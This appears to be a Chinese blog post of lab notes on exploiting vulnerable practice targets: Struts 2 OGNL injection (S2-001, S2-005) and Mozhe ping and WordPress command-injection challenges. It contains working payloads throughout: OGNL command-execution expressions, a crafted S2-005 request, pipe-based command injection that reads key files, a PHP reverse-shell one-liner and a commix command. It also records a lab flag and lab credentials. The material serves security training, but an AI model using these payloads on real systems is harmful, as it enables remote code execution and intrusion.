struts 2靶机


漏洞原理
该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 ognl 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。

1 s2-001

分析,这事一个表单,这里使用了url encode,使用加密全部全部字符
在这里插入图片描述
在这里插入图片描述

可以做计算
在这里插入图片描述

payload
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{“pwd”})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
在这里插入图片描述

2 s2-005

GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)((’%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))’)(%5cu0023rt%[email protected]@getRuntime()))=1 HTTP/1.1
Host: 192.168.46.129:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36

3 s2-007

4 墨者

在这里插入图片描述

mozhef7cf7a87a8520760ead2f23e4b7
不管windows还是linux,| 都是显示后面结果的意思
iipp=127.0.0.1|cat<key_2781642445260.php&submit=Ping
这里用<代替空格
在这里插入图片描述

进一步利用,反弹一个shell,利用失败
php -r ‘$sock=fsockopen(“192.168.46.130”,6666);exec("/bin/sh -i <&3 >&3 2>&3");’

使用commix也不行
commix --url “http://219.153.49.228:49029/index.php” --data=“iipp=127.0.0.1&submit=Ping”

5 wordpress命令执行漏洞

在这里插入图片描述

墨者,这个账户是admin,密码是123qwe
涉及到f12修改页面源码的操作
在这里插入图片描述

查看根目录下的key.txt,注意有空格
127.0.0.1|cat /key.txt
把这里改成150
在这里插入图片描述
在这里插入图片描述

查看mozhe
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_48776804/article/details/113815352